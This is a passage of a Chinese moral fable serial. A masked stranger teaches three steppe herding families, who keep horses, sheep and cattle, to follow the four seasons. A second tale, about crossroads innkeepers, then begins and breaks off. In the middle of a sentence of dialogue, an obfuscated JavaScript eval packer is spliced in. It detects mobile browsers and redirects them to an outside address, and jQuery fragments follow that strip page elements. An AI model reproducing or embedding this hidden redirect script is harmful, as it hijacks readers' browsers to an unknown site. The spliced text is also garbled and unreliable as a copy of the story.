“略知一二。”那人抚着马背，“马如四时，春要生发，夏要生长，秋要收敛，冬要闭藏。你这马，春不让生，夏不让长，秋不让收，冬不让藏。四时皆乱，马如何壮？” 乌力罕语塞。 “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念出这十二个字，“主人可知何意？” “自然知道！”乌力罕挺胸，“春生夏长，秋收冬藏！我牧马三代，岂能不知！” “错了。”那人摇头，“春生，是让生，不是不让生。夏长，是让长，不是不让长。秋收，是让收，不是不让收。冬藏，是让藏，不是不让藏。你这般春日嫌早，夏日圈养，秋日不售，冬日强牧，是生么？是长么？是收么？是藏么？” 乌力罕脸上涨红。 “你看这草原，”那人指向远方，“春来草绿，夏来草茂，秋来草黄，冬来雪盖。草随四时，荣枯有序。马吃草，人牧马，也当顺四时。春让马驹生，夏让马儿跑，秋让马儿肥，冬让马儿歇。这才是顺天时。” 他转向布和：“小兄弟，你阿爸教你天时，可教过你，天时是让万物各得其时，不是让人逆时而为？” 布和低头不敢语。 “这匹青马，”那人抚着瘦马的脖子，“本该春日欢腾，夏日奔驰，秋日膘壮，冬日安歇。可你呢？春日关着，夏日圈着，秋日囤着，冬日赶着。四时皆逆，马如何不瘦？” 乌力罕额上冒汗。 萨仁在旁听了，眼泪簌簌落下。 “这位姑娘，”那人转向萨仁，“你嫁到乌力罕家，是求安宁。可你这般日日担惊受怕，可还安宁？” 萨仁只是哭。 那人从怀里掏出一卷羊皮卷，递给布和。羊皮上写着蒙文，布和展开一看，是《牧马四时歌》。 “这个给你。里边有牧马顺四时的法子。比如：春牧何时放，夏牧何处水，秋牧何草肥，冬牧何厩暖。” 布和接过，细细看，羊皮上画着四季牧马的图：春日马驹在母马身边嬉戏，夏日马群在河边饮水，秋日马儿在草原奔驰，冬日马匹在暖厩安歇。旁边小字写着：“春生勿阻，夏长勿拘，秋收勿吝，冬藏勿劳。” 他看得痴了。 “主人，”那人转向乌力罕，“你说你懂天时，可你这天时，是逆天时。四时运行，不穷不息。你逆时而为，这马群，迟早要绝。” 说罢，他从怀里掏出三十两银子，放在料槽上：“这钱，买这匹青马。但我不要它，就寄养在你这里。你按四时牧它，春放，夏跑，秋肥，冬歇。来年此时，我来看它。若它壮了，钱归你；若它还是这般，钱我收回，马我也带走。” 他走了，草编斗笠在晨风中晃动，羊皮袄的下摆扫过枯草。 乌力罕呆立良久，看着那三十两银子，又看看儿子手里的羊皮卷，忽然扔下马鞭，蹲在地上，双手抱头。 萨仁轻轻走过去，递上一碗热奶茶：“阿爸，喝茶。” 乌力罕抬起头，看着儿媳红肿的眼，看着儿子迷茫的脸，看着那匹瘦骨嶙峋的青马，忽然抬手，狠狠抽了自己一耳光。 二、 其木格家的“地利” 其木格这日在羊圈里忙活。羊圈里关着百来只羊，只只毛色枯槁。其木格手持牧羊杖，清点羊数，嘴里训斥着女儿“高娃”：“春羔要控，夏牧要省，秋毛要等，冬草要囤！你看看这些羊，哪一只有膘？” 高娃，十七岁，低头梳羊毛，羊毛干涩打结。 女婿“朝鲁”（入赘女婿）端来奶酪，脚步稍重。其木格立时皱眉：“笨手笨脚！羊都比你强！” 朝鲁低头不敢语。 这时，羊圈外来了一人。还是草编斗笠，羊皮袄，腰间木剑。脸上蒙着毛毡，只露出一双眼睛，清澈如泉。 “主人，买些羊毛。”声音温和。 其木格抬眼，见是前日在乌力罕家马圈见过的那人，心里一动，面上堆笑：“客官要多少？” “十斤，要细软暖和的。” “好嘞！”其木格让朝鲁去取羊毛。 那人却不急，看着羊群，忽然摇头：“这些羊，春毛未换，夏膘未长，秋绒未生，冬寒未御。活不过这个冬天。” 其木格脸色一变：“你懂羊？” “略知一二。”那人走进羊圈，抚着一只母羊，“羊如四时，春要换毛，夏要长膘，秋要生绒，冬要御寒。你这羊，春不让换，夏不让长，秋不让生，冬不让御。四时皆乱，羊如何壮？” 其木格语塞。 “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念出，“主人可知何意？” “自然知道！”其木格挺胸，“春生夏长，秋收冬藏！我牧羊三代，岂能不知！” “错了。”那人摇头，“春生，是让生，不是不让生。夏长，是让长，不是不让长。秋收，是让收，不是不让收。冬藏，是让藏，不是不让藏。你这般春日控羔，夏日省草，秋日等毛，冬日下山，是生么？是长么？是收么？是藏么？” 其木格脸上发红。 “你看这草原，”那人指向远山，“春来草绿，夏来草茂，秋来草黄，冬来雪盖。草随四时，荣枯有序。羊吃草，人牧羊，也当顺四时。春让羔羊生，夏让羊儿跑，秋让羊儿肥，冬让羊儿暖。这才是顺地利。” 他转向高娃：“姑娘，你额吉教她地利，可教过你，地利是让万物各得其所，不是让人逆地而为？” 高娃低头垂泪。 “这些羊，”那人抚着枯瘦的羊，“本该春日欢腾，夏日奔驰，秋日膘壮，冬日安歇。可你呢？春日控生，夏日省草，秋日等毛，冬日下山。四时皆逆，羊如何不瘦？” 其木格额上冒汗。 朝鲁在旁听了，眼眶也红了。 “这位郎君，”那人转向朝鲁，“你入赘其木格家，是求安稳。可你这般日日小心翼翼，可还安稳？” 朝鲁只是低头。 那人从怀里掏出一卷羊皮卷，递给高娃。羊皮上写着蒙文，高娃展开一看，是《牧羊四时歌》。 “这个给你。里边有牧羊顺四时的法子。比如：春羔何时生，夏牧何处草，秋毛何时剪，冬厩何时暖。” 高娃接过，细细看，羊皮上画着四季牧羊的图：春日羔羊在母羊身边吃奶，夏日羊群在山坡吃草，秋日羊儿在草原长膘，冬日羊群在暖圈安歇。旁边小字写着：“春生勿控，夏长勿省，秋收勿等，冬藏勿劳。” 她看得痴了。 “主人，”那人转向其木格，“你说你懂地利，可你这地利，是逆地利。四时运行，不穷不息。你逆时而为，这羊群，迟早要绝。” 说罢，他从怀里掏出十两银子，放在料槽上：“这钱，买十斤羊毛。但我不要现在的毛，要明年此时的毛。你按四时牧羊，春放，夏跑，秋肥，冬暖。来年此时，我来看羊。若羊壮了，毛好了，钱归你；若羊还是这般，钱我收回，毛我也不要了。” 他走了，羊皮袄在风中飘动，木剑的剑穗扫过枯草。 其木格呆立良久，看着那十两银子，又看看女儿手里的羊皮卷，忽然扔下牧羊杖，坐在草堆上，双手捂脸。 高娃轻轻走过去，递上一碗热奶酪：“额吉，吃奶酪。” 其木格抬起头，看着女儿含泪的眼，看着女婿低垂的头，看着那些枯瘦的羊，忽然抬手，轻轻拍了拍女婿的肩。 三、 □□家的“人和” □□这日在牛圈里忙活。牛圈里关着二十多头牛，头头骨瘦如柴。□□手持牛鞭，清点牛数，嘴里训斥着儿子“呼和”：“春犊要稀，夏草要省，秋奶要等，冬水要勤！你看看这些牛，哪一头有奶？” 呼和，十九岁，低头挤奶，奶桶里只有小半桶。 儿媳“乌云”端来炒米，脚步稍重。□□立时瞪眼：“毛手毛脚！牛都比你强！” 乌云眼圈一红，低头摆碗。 这时，牛圈外来了一人。还是草编斗笠，羊皮袄，腰间木剑。脸上蒙着毛毡，风尘仆仆。 “主人，买些牛奶。”声音平平。 □□抬眼，见是这两日在乌力罕、其木格家见过的那人，心里咯噔一下，面上堆笑：“客官要多少？” “一桶，要新鲜浓稠的。” “好嘞！”□□让呼和挤奶。 那人却摇头：“这牛，春犊未生，夏草未饱，秋膘未长，冬寒未御。挤不出好奶。” □□脸色一沉：“你懂牛？” “略知一二。”那人走进牛圈，抚着一头母牛，“牛如四时，春要生犊，夏要吃草，秋要长膘，冬要御寒。你这牛，春不让生，夏不让饱，秋不让长，冬不让御。四时皆乱，牛如何壮？” □□语塞。 “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念出，“主人可知何意？” “自然知道！”□□挺胸，“春生夏长，秋收冬藏！我牧牛三代，岂能不知！” “错了。”那人摇头，“春生，是让生，不是不让生。夏长，是让长，不是不让长。秋收，是让收，不是不让收。冬藏，是让藏，不是不让藏。你这般春日嫌密，夏日省草，秋日等奶，冬日强饮，是生么？是长么？是收么？是藏么？” □□脸上发烫。 “你看这草原，”那人指向河流，“春来水涨，夏来水丰，秋来水清，冬来冰封。水随四时，涨落有序。牛喝水，人牧牛，也当顺四时。春让牛犊生，夏让牛儿饱，秋让牛儿肥，冬让牛儿暖。这才是顺人和。” 他转向呼和：“小兄弟，你阿爸教你和顺，可教过你，和顺是让万物各得其所，不是让人逆时而为？” 呼和低头不语。 乌云在旁听了，眼泪滴在衣襟上。 “这位姑娘，”那人转向乌云，“你嫁到□□家，是求和乐。可你这般日日担惊受怕，可还和乐？” 乌云只是抹泪。 那人从怀里掏出一卷羊皮卷，递给呼和。羊皮上写着蒙文，呼和展开一看，是《牧牛四时歌》。 “这个给你。里边有牧牛顺四时的法子。比如：春犊何时生，夏草何处肥，秋膘何时长，冬厩何时暖。” 呼和接过，细细看，羊皮上画着四季牧牛的图：春日牛犊在母牛身边吃奶，夏日牛群在河边吃草，秋日牛儿在草原长膘，冬日牛群在暖圈安歇。旁边小字写着：“春生勿控，夏长勿省，秋收勿等，冬藏勿劳。” 他看得痴了。 “主人，”那人转向□□，“你说你懂人和，可你这人和，是逆人和。四时运行，不穷不息。你逆时而为，这牛群，迟早要绝。” 说罢，他从怀里掏出五两银子，放在奶桶边：“这钱，买一桶奶。但我不要现在的奶，要明年此时的奶。你按四时牧牛，春放，夏饱，秋肥，冬暖。来年此时，我来看牛。若牛壮了，奶好了，钱归你；若牛还是这般，钱我收回，奶我也不要了。” 他提起空桶，转身要走。走到圈口，回头：“主人，来年此时我再来。你若想明白了四时运行、不穷不息的道理，给我留一桶真正的‘四时奶’。” □□看着那人的背影消失在草原尽头，又看看儿子手里的羊皮卷，忽然把牛鞭一扔，蹲在地上，双手抱头。 乌云轻轻走过去，递上一碗炒米：“阿爸，吃饭。” □□抬起头，看着儿媳含泪的眼，看着儿子茫然的脸，看着那些瘦弱的牛，忽然伸手，接过饭碗，声音发哑：“你……你也吃。” 四、 那达慕的月 七月中，草原上最热闹的那达慕大会开始了。赛马、摔跤、射箭，人欢马叫。乌力罕、其木格、□□三家，也都来到了会场。 乌力罕牵着他那匹青马，马儿经过半年的调养，已然壮实许多。布和在一旁小心照料，萨仁捧着奶茶。 其木格带着她的羊群，羊儿毛色光亮，膘肥体壮。高娃在一旁看护，朝鲁背着羊毛。 □□赶着他的牛群，牛儿精神抖擞，奶水充足。呼和在一旁挤奶，乌云端着奶桶。 三人在会场相遇，都有些尴尬。 还是乌力罕先开口：“其木格，□□，来啦？” 其木格、□□点点头：“来啦，来啦。” 三人看着各自的家畜，又看看对方，都从对方眼中看到了变化。 “你的马……壮了。”其木格说。 “你的羊……肥了。”□□说。 “你的牛……精神了。”乌力罕说。 正说着，那人来了。还是草编斗笠，羊皮袄，腰间木剑。只是今日没蒙毛毡，脸上戴了个木雕面具，面具上刻着四季图：春草、夏花、秋叶、冬雪。手里提着一皮囊马奶酒，三个木碗。 “三位主人，赛马呢？”他笑。 三人忙转身：“先生！” 那人坐下，自斟一碗酒，举碗邀天：“好天。” 三人也斟了酒，同饮。酒是醇厚的马奶酒，烈，可喝下去，心里暖。 “先生，”乌力罕问，“那十二个字，到底什么意思？” “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念出，“春生，夏长，秋收，冬藏。这是天时，是地利，是人和。四时运行，不穷不息，这是天地大道。顺之者昌，逆之者亡。” 三人肃然。 “春不让生，则万物不发。夏不让长，则万物不茂。秋不让收，则万物不实。冬不让藏，则万物不固。”那人看着他们，“你们三家，一牧马，一牧羊，一牧牛，本都是顺天应时的好牧人。可你们呢？乌力罕春嫌早、夏圈养、秋不售、冬强牧，是顺天时么？其木格春控羔、夏省草、秋等毛、冬下山，是顺地利么？□□春嫌密、夏省草、秋等奶、冬强饮，是顺人和么？” 三人低头。 “马如四时，羊如四时，牛如四时。四时有序，不穷不息。你们逆时而为，马瘦，羊病，牛弱。如今顺时而为，马壮，羊肥，牛健。可见什么？”那人声音温和，却字字入心，“可见不是畜不壮，是人不顺。不是时不济，是人不知。” 三人汗颜。 “春生夏长，秋收冬藏。生不是滥生，是应生则生。长不是疯长，是应长则长。收不是全收，是应收则收。藏不是死藏，是应藏则藏。”那人指着草原，“你们看，春草生，夏草长，秋草黄，冬雪盖。草顺四时，所以草原不灭。你们牧马、牧羊、牧牛，也当如此。” 他指向乌力罕的青马：“这马，春生时你让它生，夏长时你让它跑，秋收时你让它肥，冬藏时你让它歇。它壮了，你乐了，是不是？” 乌力罕重重点头。 他指向其木格的羊群：“这羊，春生时你让它生，夏长时你让它吃，秋收时你让它肥，冬藏时你让它暖。它肥了，你笑了，是不是？” 其木格眼眶湿润。 他指向□□的牛群：“这牛，春生时你让它生，夏长时你让它饱，秋收时你让它壮，冬藏时你让它暖。它壮了，你安了，是不是？” □□连连点头。 那人从怀里掏出三块小小的、用牛骨刻的牌子，一人给了一个。牌子上刻着蒙文：春生、夏长、秋收、冬藏。 “这个，给你们。挂在毡房门上，记在心里。牧畜时看看，莫忘了四时运行，不穷不息。” 三人接过，那牌子是牛骨刻的，光滑温润，在阳光下泛着乳白的光。 “先生，”布和从人群里挤出来，大着胆子问，“您从哪里来？” “从来处来。” “要到哪里去？”高娃也挤出来。 “到去处去。” “您是做什么的？”呼和也出来了。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145690|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个看天、看地、看时的人。”那人笑了，“看人怎么顺天，怎么应地，怎么合时。” 他起身，提起皮囊：“酒喝完了，我该走了。” “先生还会来么？”三人齐声问。 “等你们的马群、羊群、牛群，真真正顺应四时、不穷不息的时候，我再来。”他说。 他走了，沿着草原，慢慢地走。阳光洒在草地上，把他的影子拉得很长。三家的人站在会场上，看着他的背影渐渐消失在草原尽头。 乌力罕忽然转身，对萨仁说：“媳妇，这半年……辛苦你了。” 萨仁的眼泪，一下子涌了出来。 其木格拍拍朝鲁的肩：“女婿，来，喝一碗。” 朝鲁的眼眶，也红了。 □□对乌云说：“儿媳，吃块肉，多吃点。” 乌云低下头，眼泪滴在肉上。 五、 三年后的牛骨牌 三年后的那达慕大会，更热闹了。乌力罕家的马群已增至五十多匹，匹匹膘肥体壮；其木格家的羊群已有二百多只，只只毛厚肉肥；□□家的牛群已有三十多头，头头奶水充足。 三家在会场边支起毡房，相邻而居。乌力罕的孙子“春生”五岁，在草地上追着小马驹跑；其木格的孙女“夏长”六岁，在羊群里喂小羊羔；□□的孙子“秋收”七岁，在牛群边学挤奶。 乌力罕、其木格、□□三个老人，坐在毡房前，喝酒看赛马。 “真快，三年了。”乌力罕说。 “是啊，三年了。”其木格说。 “那先生，再没来过。”□□说。 正说着，草原那头走来一人。还是草编斗笠，羊皮袄，腰间木剑。只是斗笠更破，皮袄更旧，木剑的剑柄磨得发亮。脸上依然戴着木面具，面具上的四季图，在阳光下清晰可见。 三人看见，忙起身：“先生！” 那人点头，声音依旧温和：“都兴旺了。” “托先生的福。”三人齐声道。 那人笑了，在毡毯上坐下，自斟一碗马奶酒，举碗邀天：“天还是那个天。” 众人也举碗。 春生机灵，捧上一碗新挤的马奶：“先生，喝奶，今年的新奶，香！” 夏长捧上一块新剪的羊毛：“先生，用毛，今年的新毛，软！” 秋收捧上一桶新挤的牛奶：“先生，喝奶，今年的新奶，醇！” 那人一一接过，喝马奶，摸羊毛，喝牛奶，点头：“好，好。” 乌力罕从怀里掏出那块牛骨牌，已经用牛皮绳系着，挂在脖子上：“先生，您看，我一直戴着。” 其木格、□□也掏出牛骨牌，三块牌子，在阳光下泛着温润的光。 “戴得好。”那人点头，“四时运行，在心不在形。” “先生，”其木格问，“您这三年，去了哪里？” “走了些地方，见了些牧人。”那人说，“有春不让生的，有夏不让长的，有秋不让收的，有冬不让藏的。看得多了，就想，若是他们都明白四时不穷的道理，会不会就不同了？” 众人沉默。 “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念，“春生，是天地生发之气，不可阻。夏长，是天地生长之气，不可逆。秋收，是天地收敛之气，不可违。冬藏，是天地闭藏之气，不可抗。顺之者昌，逆之者亡，这是天地至理。” 他看向三个孩子——春生在追马驹，夏长在喂羊羔，秋收在挤牛奶。追得欢快，喂得细心，挤得认真。 “他们比你们强。”那人笑了，“春生知生，夏长知长，秋收知收。这才对。” 众人点头，深以为然。 那人从怀里掏出三块小小的、用牛骨刻的牌子，刻着“顺天、应地、合时”，送给三个孩子。 “这个，给你们的孩子。等他们长大了，教他们春生、夏长、秋收、冬藏。等他们做到了，我再来收。” 三个孩子恭恭敬敬接过。 “先生，”秋收大着胆子问，“您是谁啊？” 那人摸摸他的头：“我是个喜欢看人顺天、应地、合时的人。” “那……您还会来看我们追马驹、喂羊羔、挤牛奶么？” “会。”那人站起身，“等你们的孩子的孩子，也这样在草原上追马驹、喂羊羔、挤牛奶的时候，我还会来。” 他走了，沿着草原，慢慢地走。阳光洒在无边的草地上，泛着金绿的光。他的背影在草原上，渐渐远了，融进天地间。 众人送到草坡上，看着他消失。乌力罕忽然说：“你们说，先生教了多少牧人？” 其木格说：“不知道。但我知道，他教的牧人，都懂了‘四时不穷’。” □□说：“我也懂了。牧畜不是强求，是顺应。顺应天时，畜自来。” 他们回到毡房，孩子们还在那里。春生在教夏长骑马，夏长在教秋收喂羊，秋收在教春生挤奶。阳光照在他们身上，明晃晃的。 尾声四时谣 很多年后，四季甸改名叫“四时甸”。甸口的敖包上，刻着十二个蒙文大字： 曰春夏，曰秋冬。此四时，运不穷。 常有外乡的牧人问：“这字谁刻的？” 甸里的老人会说：“是三家明白人刻的。他们啊，从前只会逆时，后来懂了顺时，畜群兴旺，家业丰足。” “怎么顺时？” “乌力罕家春放马，夏跑马，秋肥马，冬歇马。其木格家春生羔，夏放羊，秋剪毛，冬暖羊。□□家春生犊，夏饱牛，秋挤奶，冬暖牛。这就是顺时。” 那达慕大会时，甸上的孩子都会唱一首童谣： 四季甸，三家人， 逆天逆时畜不宁。 乌家逆时马儿瘦， 其家逆时羊儿病。 巴家逆时牛儿弱， 三家逆时家业凋。 白衣先生来点化， 曰春夏，曰秋冬。 此四时，运不穷， 三家顺时六畜兴。 有个游方的萨满路过，听了这童谣，去问乌力罕家的布和——如今已是甸上有名的牧马人。 “兄弟，这童谣里的白衣人，可是位天神？” 布和正在教孙子驯马，闻言停下手，望着无边的草原。 “是位教人顺天、应地、合时的先生。”他说。 “顺天应地……不是我们萨满的事么？” “错了。”布和说，“顺天应地合时，是每个牧人的本分。牧马的，要顺马性；牧羊的，要顺羊性；牧牛的，要顺牛性。马性、羊性、牛性，就是天性、地性、时性。这才是真明白。” 萨满似懂非懂。临走时，布和送了他一匹小马驹，说：“路上骑。记着，马如四时，春生夏长，秋收冬藏。顺之则壮，逆之则亡。” 萨满道了谢，骑上马驹走了。阳光洒在草原上，草浪如海。他回头，看见布和站在毡房前，看着孙子和其木格家、□□家的孩子在一起，一个骑马，一个喂羊，一个挤奶。阳光照在他们身上，像镀了一层金。 也许那位先生，正在某个地方，看人顺天、应地、合时吧。萨满想。 他拍了拍马驹，马驹欢快地跑起来。这顺时的感觉，原来就在一马一鞍之间。 本章诫世 一、 四时真义训 - 曰春夏，曰秋冬 - 此四时，运不穷 - 破解法：为牧者，自问“可顺春生？可顺夏长？可顺秋收？可顺冬藏？”；为民者，自问“可应天时？可合地利？可达人和？” 二、 三家三逆 - 乌家逆在“强求”——春不让生，夏不让长，秋不让收，冬不让藏 - 其家逆在“吝啬”——春控羔，夏省草，秋等毛，冬下山 - 巴家逆在“苛待”——春嫌密，夏省草，秋等奶，冬强饮 - 惕世：多少农人逆天时而耕？多少商人逆地利而贾？多少匠人逆人和而作？皆逆时也 三、 顺时大道 - 深层隐喻：四时运行，天地之常。春生夏长，秋收冬藏，不穷不息。顺之者昌，逆之者亡，非虚言也 - 终极指向：牧畜如牧人，耕田如耕心，经商如经时。顺天时者得天助，应地利者得地力，合人和者得人心。逆时而行，虽勤苦而功半；顺时而为，虽安逸而功倍 四时偈： 四季甸上三家人，逆天逆时畜不宁。 乌家逆时马儿瘦，其家逆时羊儿病。 巴家逆时牛儿弱，三家逆时家业凋。 白衣现身来点化，四时运行不穷息。 春生夏长秋收冬藏，三家顺时六畜兴。 后世叹： 曰春夏，曰秋冬，此四时，运不穷。 乌家逆时马不壮，其家逆时羊不肥。 巴家逆时牛不健，三家皆忘顺时道。 白衣点破四时理，三年顺时六畜旺。 正是： 漠南草原三家人，逆天逆时各执迷。 乌家强求逆马性，其家吝啬逆羊情。 巴家苛待逆牛理，三家皆忘顺时道。 白衣点化四时义，春生夏长秋收藏。 三年顺时家业旺，四时甸上美名扬。 95.四方谳 楔子·三家失方 东山府有座临河镇，镇中有条十字街。街分四向，住着三户人家：东街是“东来”车马店，西街是“西就”客栈，南街是“南来”茶馆，北街本有家“北往”货栈，三年前败了，至今空着。 东来车马店的掌柜姓“东”，名“四方”，四十有五，开车马店三代。他有句话常挂嘴边：“东来西往，南来北去，这是生意经。”可这“四方”，他只对客人说。东边的客人来，他嫌路远；西边的客人往，他嫌事多；南边的客人来，他嫌啰嗦；北边的客人往，他嫌挑剔。他说：“我这店叫‘东来’，就该只接东边的客！” 西就客栈的掌柜姓“西”，名“四方”，四十有三，开客栈三代。他也有句话常念叨：“东就西成，南辕北辙，这是待客道。”可这“四方”，他只对伙计说。东边的客人就，他嫌土气；西边的客人成，他嫌狡诈；南边的客人来，他嫌小气；北边的客人往，他嫌傲慢。他说：“我这店叫‘西就’，就该只接西边的客！” 南来茶馆的掌柜姓“南”，名“四方”，四十有八，开茶馆三代。他更有句口头禅：“南来北往，东成西就，这是经营法。”可这“四方”，他只对账房说。东边的客人成，他嫌挑剔；西边的客人就，他嫌粗鲁；南边的客人来，他嫌吵闹；北边的客人往，他嫌挑剔。他说：“我这茶馆叫‘南来’，就该只接南边的客！” 这三家，是十字街最“明方向”的生意人。可三年下来，方向越明越窄，门庭冷落。东来店门可罗雀，西就客栈客房空空，南来茶馆茶客寥寥。街坊邻居看在眼里，摇头叹气。 这是临河镇的又一个清晨，十字街上人来人往，可三家的门里，却无半分热闹。 一、 东来车马店的“东来” 这日清晨，东方四方正在店里算账。店里冷冷清清，只有两匹马在槽头吃草。东方四方拨着算盘，嘴里训斥着伙计“阿东”：“东边的客，要谦和；西边的客，要小心；南边的客，要客气；北边的客，要恭敬！你可倒好，昨日那个北边客，你怎么招待的？” 阿东，十八岁，低头扫院，嘟囔道：“那客人嫌马料不好，嫌房间不净，嫌茶水不热，我……” “住口！”东方四方一拍桌子，“北边的客，最难伺候！你懂什么！” 这时，门外进来一人。来人戴着一顶用细竹编的斗笠，斗笠边缘缀着几片枯荷。身上是件洗得发白的灰布长衫，腰间用麻绳系一柄木剑，剑身磨得光滑。脸上蒙着一方青布，布色已褪，沾着晨露。 “掌柜的，住店。”声音沉沉的。 东方四方抬眼一瞥，见是个外乡人，便道：“客官从哪里来？” “从来处来。” “往哪里去？” “往去处去。” 东方四方皱眉：“我问你是从东边来，还是西边来，南边来，北边来？” “从东边来，往西边去，路过南边，要去北边。”那人说。 东方四方一愣，上下打量这人：“你这人……到底要住店，还是不住？” “住店。”那人从怀里掏出几文钱，“一宿，一匹马，一壶酒，一碟豆。” 东方四方收了钱，让阿东去备马料、收拾房间，自己斟了碗粗茶递过去。 那人接了茶，却不喝，看着店里空空的马厩，忽然道：“掌柜的，你这店叫‘东来’，可东边的客，你嫌路远；西边的客，你嫌事多；南边的客，你嫌啰嗦；北边的客，你嫌挑剔。四方皆嫌，你这店，如何东来西往？” 东方四方脸色一沉：“你懂做生意？” “略知一二。”那人放下茶碗，“开店如立四方，东来西往，南来北去，四方皆客，来者不拒。你这般东嫌西嫌，南嫌北嫌，四方皆嫌，客从何来？” 东方四方语塞。 “曰南北，曰西东。此四方，应乎中。”那人缓缓念出这十二个字，“掌柜的可知何意？” “自然知道！”东方四方挺胸，“东南西北，四方来客！我开店三代，岂能不知！” “错了。”那人摇头，“四方者，东南西北。应乎中者，以中为心，四方来朝。你这店在十字街，正是四方交汇之地，本当四方来客皆迎。可你呢？东嫌远，西嫌多，南嫌啰嗦，北嫌挑剔。你这‘中’，在哪里？” 东方四方脸上涨红。 “你看这十字街，”那人走到门口，指向四方，“东街通东，西街通西，南街通南，北街通北。街以中分，四方皆通。店在街中，当迎四方。你这般挑三拣四，这店，迟早要关。” 阿东在旁听了，忍不住插嘴：“先生说得是！昨日那北边客，就是嫌咱们挑客！” “多嘴！”东方四方瞪眼，可心里却是一震。 “这位小哥，”那人转向阿东，“你家掌柜教你待客，可教过你，客不分东南西北，来者皆是客？” 阿东低头不敢语。 “这店，”那人环顾四周，“本该东客来时笑脸迎，西客往时热茶奉，南客来时殷勤待，北客往时细心送。可你呢？东嫌西嫌，南嫌北嫌。四方皆嫌，客如何来？” 东方四方额头冒汗。 那人从怀里掏出一本薄册子，递给东方四方。封面上写着《四方迎客诀》。 “这个给你。里边有开店迎四方客的法子。比如：东客来时如何迎，西客往时如何送，南客来时如何待，北客往时如何安。” 东方四方接过，翻开一看，第一页就画着一家店，门开四面，笑脸相迎。旁边小字写着：“东来不拒，西往不嫌，南来不慢，北往不怠。四方来客，皆以中应。” 他看得痴了。 “掌柜的，”那人道，“你这店名‘东来’，可真正的‘东来’，是以中为心，迎四方客。四方皆来，才是真东来。” 说罢，他起身：“房间不用收拾了，我去街上转转。明日此时，我再来看。若你还这般挑客，这店，不住也罢。” 他走了，竹编斗笠在晨光中晃动，灰布长衫的下摆扫过门槛。 东方四方呆立良久，看着手里的册子，又看看空空的马厩，忽然把算盘一推，蹲在地上，双手抱头。 阿东轻轻走过去，递上一碗热茶：“掌柜的，喝茶。” 东方四方抬起头，看着伙计稚嫩的脸，看着空空的店堂，忽然抬手，拍了拍阿东的肩：“明日……明日咱们不挑客了。” 二、 西就客栈的“西就” 西门四方这日正在客栈里擦桌子。店里空荡荡，只有两个伙计在打瞌睡。西门四方一边擦桌，一边训斥着账房“阿西”：“西边的客，要谨慎；东边的客，要小心；南边的客，要留心；北边的客，要当心！你可倒好，昨日那个南边客，你怎么记账的？” 阿西，二十岁，低头看账，嘟囔道：“那客人嫌房价贵，嫌饭菜差，嫌被褥潮，我……” “住口！”西门四方一拍桌子，“南边的客，最难伺候！你懂什么！” 这时，门外进来一人。还是竹编斗笠，灰布长衫，腰间木剑。脸上蒙着青布，只露出一双眼睛，明亮如星。 “掌柜的，住店。”声音温和。 西门四方抬眼，见是前日在东来车马店见过的那人，心里一动，面上堆笑：“客官从哪里来？” “从西边来，往东边去，路过北边，要去南边。” 西门四方一愣：“你这人……到底要住店，还是不住？” “住店。”那人从怀里掏出几文钱，“一宿，一间房，一壶茶，一碟糕。” 西门四方收了钱，让伙计去收拾房间，自己斟了碗茶递过去。 那人接了茶，却不喝，看着店里空空的客房，忽然道：“掌柜的，你这店叫‘西就’，可西边的客，你嫌狡诈；东边的客，你嫌土气；南边的客，你嫌小气；北边的客，你嫌傲慢。四方皆嫌，你这店，如何西就东成？” 西门四方脸色一变：“你懂做生意？” “略知一二。”那人放下茶碗，“开店如立四方，西就东成，南辕北辙，四方皆客，来者不拒。你这般西嫌东嫌，南嫌北嫌，四方皆嫌，客从何来？” 西门四方语塞。 “曰南北，曰西东。此四方，应乎中。”那人缓缓念出，“掌柜的可知何意？” “自然知道！”西门四方挺胸，“东南西北，四方来客！我开店三代，岂能不知！” “错了。”那人摇头，“四方者，东南西北。应乎中者，以中为心，四方来朝。你这店在十字街，正是四方交汇之地，本当四方来客皆迎。可你呢？西嫌狡诈，东嫌土气，南嫌小气，北嫌傲慢。你这‘中’，在哪里？” 西门四方脸上发红。 “你看这十字街，”那人走到门口，指向四方，“东街通东，西街通西，南街通南，北街通北。街以中分，四方皆通。店在街中，当迎四方。你这般挑三拣四，这店，迟早要关。” 阿西在旁听了，忍不住插嘴：“先生说得是！昨日那南边客，就是嫌咱们挑客！” “多嘴！”西门四方瞪眼，可心里却是一震。 “这位账房，”那人转向阿西，“你家掌柜教你记账，可教过你，客不分东西南北，来者皆是客？” 阿西低头不敢语。 “这客栈，”那人环顾四周，“本该西客来时热茶迎，东客往时笑脸送，南客来时殷勤待，北客往时细心安。可你呢？西嫌东嫌，南嫌北嫌。四方皆嫌，客如何来？” 西门四方额头冒汗。 那人从怀里掏出一本薄册子，递给西门四方。封面上写着《四方迎客诀》。 “这个给你。里边有开店迎四方客的法子。比如：西客来时如何迎，东客往时如何送，南客来时如何待，北客往时如何安。” 西门四方接过，翻开一看，第一页就画着一家店，门开四面，笑脸相迎。旁边小字写着：“西就不拒，东成不嫌，南来不慢，北往不怠。四方来客，皆以中应。” 他看得痴了。 “掌柜的，”那人道，“你这店名‘西就’，可真正的‘西就’，是以中为心，迎四方客。四方皆来，才是真西就。” 说罢，他起身：“房间不用收拾了，我去街上转转。明日此时，我再来看。若你还这般挑客，这店，不住也罢。” 他走了，灰布长衫在风中飘动，木剑的剑穗扫过门槛。 西门四方呆立良久，看着手里的册子，又看看空空的客房，忽然把抹布一扔，坐在凳上，双手捂脸。 阿西轻轻走过去，递上一碗热茶：“掌柜的，喝茶。” 西门四方抬起头，看着账房年轻的脸，看着空空的店堂，忽然抬手，拍了拍阿西的肩：“明日……明日咱们不挑客了。” 三、 南来茶馆的“南来” 